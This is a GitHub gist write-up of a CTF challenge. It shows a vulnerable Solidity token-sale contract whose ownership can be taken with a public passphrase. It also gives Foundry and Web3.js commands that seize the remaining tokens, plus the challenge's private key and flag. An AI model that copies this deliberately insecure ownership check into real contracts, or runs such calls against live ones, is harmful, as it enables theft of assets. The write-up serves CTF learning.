Skip to content

Instantly share code, notes, and snippets.

@dz-root
Created March 3, 2024 21:21
Show Gist options
  • Save dz-root/6d2bd21709d19aeecac3d85afe814240 to your computer and use it in GitHub Desktop.
Save dz-root/6d2bd21709d19aeecac3d85afe814240 to your computer and use it in GitHub Desktop.
Synthatsu katana thief

https://i.ibb.co/h2nxwZt/annoncefinctf.png

1- Challenge information

2000 years from now, the earth has seen many wars, and the surface of the earth was forever damaged. Humans had to develop floating cities, the first one was Synthatsu, made by what was left of the Japanese history. Mixing futuristic building with a hint of traditional looks. This town was well known for its close combat weapons. One of the most prized katana maker works in that town. But just yesterday, some thugs named Beyond robbed his shop, and took some of his work!

Will you be able to get them for yourself?

Author: Icarus

Data Value
Your private key 0x6715d324d14e0565ab02a575fa5f74540719ba065a610cba6497cdbf22cd5cdb
Your address 0xCaffE305b3Cc9A39028393D3F338f2a70966Cb85
Challenge contract 0xe7159fA984691B4D06d37eB0b9668a1832D9F31a
RPC URL http://worker01.gcc-ctf.com:11861/rpc

Smarts contracts

1- Challenge.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./KatanaSale.sol";

contract Challenge{
    KatanaSale public katanaSale;
    address constant public PLAYER = 0xCaffE305b3Cc9A39028393D3F338f2a70966Cb85;

    constructor () payable {
        katanaSale = new KatanaSale(10 ether, 100);
    }

    function isSolved() public view returns(bool){
        if(katanaSale.balanceOf(PLAYER) >= 60){
            return true;
        }
        return false;
    }

}

2- KatanaSale.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract KatanaSale {
    
    address public beyond;
    uint256 public katanaPrice;
    uint256 public katanaSold;
    string public name = "one-katana";
    string public symbol = "KTN";
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;

    event Sold(address buyer, uint256 amount);

    constructor(uint256 _katanaPrice, uint256 _totalSupply) {
        beyond = msg.sender;
        katanaPrice = _katanaPrice;
        totalSupply = _totalSupply;
    }

    function transfer(address to, uint256 value) external {
        require(balanceOf[msg.sender] >= value, "Insufficient balance");
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;
    }

    function becomeBeyond(string memory passPhrase) external {
        require (keccak256(abi.encode(passPhrase)) == keccak256(abi.encode("I will check out @BeyondBZH and @gcc_ensibs on X")));
        beyond = msg.sender;
    }

    function buyKatana(uint256 _numberOfKatana) external payable {
        require(msg.value == _numberOfKatana * katanaPrice, "Incorrect Ether value");
        katanaSold += _numberOfKatana;
        balanceOf[msg.sender] += _numberOfKatana;
        emit Sold(msg.sender, _numberOfKatana);
    }

    function endSale() external {
        require(msg.sender == beyond, "Only a true Beyond can end the sale");
        balanceOf[msg.sender] += totalSupply - katanaSold;
    }
}

2- SOLVES

To solve this challenge we need first to be owner of the contract, for that we need to send transaction calling becomeBeyond() with this string argument I will check out @BeyondBZH and @gcc_ensibs on X

The becomeBeyond() function allows us to become the contract owner, comparing whether the value sent is equal to 'I will check out @BeyondBZH and @gcc_ensibs on X'.

  function becomeBeyond(string memory passPhrase) external {
        require (keccak256(abi.encode(passPhrase)) == keccak256(abi.encode("I will check out @BeyondBZH and @gcc_ensibs on X")));
        beyond = msg.sender;
    }

Once we became contract owner, we need to call endSale() to get all Katanas, let solve it ...

function endSale() external {
    require(msg.sender == beyond, "Only a true Beyond can end thesale");
    balanceOf[msg.sender] += totalSupply - katanaSold;
}

2.1- Using Foundry

1- Set variables

## SET VAR
RPC = http://worker01.gcc-ctf.com:11861/rpc
CONTRACT_ADDRESS = 0xe7159fA984691B4D06d37eB0b9668a1832D9F31a
PRIVATE_KEY      = 0x6715d324d14e0565ab02a575fa5f74540719ba065a610cba6497cdbf22cd5cdb

2- Set Wallet (Add your wallet to cast)

cast wallet import WALLET_1 --private-key $PRIVATE_KEY

3- GET KatanaSale address

## GET CONTRACT ADDRESS
cast call $CONTRACT_ADDRESS "katanaSale()(address)" --rpc-url $RPC

Get KatanaSale Address

4- Transact with becomeBeyond()

##  Transact with becomeBeyond()
cast send --account WALLET_1 --rpc-url $RPC 0xAc7Cd8fB02a4770e1C69debFa66089889623E8c6
"becomeBeyond(string)" "I will check out @BeyondBZH and @gcc_ensibs on X"

5- Transact with endSale()

## transact with endSale()
cast send --account WALLET_1 --rpc-url $RPC 0xAc7Cd8fB02a4770e1C69debFa66089889623E8c6 "endSale()"

2.2- Using Web3.js

const Web3 = require('web3');

const contract_address = '0xAc7Cd8fB02a4770e1C69debFa66089889623E8c6'
const privateKey       = '0x6715d324d14e0565ab02a575fa5f74540719ba065a610cba6497cdbf22cd5cdb'
const publicKey        = '0xCaffE305b3Cc9A39028393D3F338f2a70966Cb85'
const providerUrl      = 'http://worker01.gcc-ctf.com:11861/rpc'
const abi = [...]
// Create web3 instance
const web3 = new Web3(new Web3.providers.HttpProvider(providerUrl));

// Set Wallet
web3.eth.accounts.wallet.add({
    privateKey: privateKey,
    address:    publicKey
});


const contract = new web3.eth.Contract(abi, contract_address)

// Call becomeBeyond()
contract.methods.becomeBeyond("I will check out @BeyondBZH and @gcc_ensibs on X")
.send({from:publicKey, gas:5000000}).then(console.log)

// Call endSale() 
contract.methods.endSale("I will check out @BeyondBZH and @gcc_ensibs on X")
.send({from:publicKey, gas:5000000}).then(console.log)

🚩Flag: GCC{All_Kat@na$_AR3_M!Ne_N0w}

Resources


This challenge is a great way to understand Web3 and learn how to interact with a smart contract. I have deployed the contract on the Sepolia test network in order to try out this challenge.

KatanaSale contract: sepolia.etherscan.io

Contract address: 0x158087262C2D52b40c287eb5875e1F300d2fc9FC

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment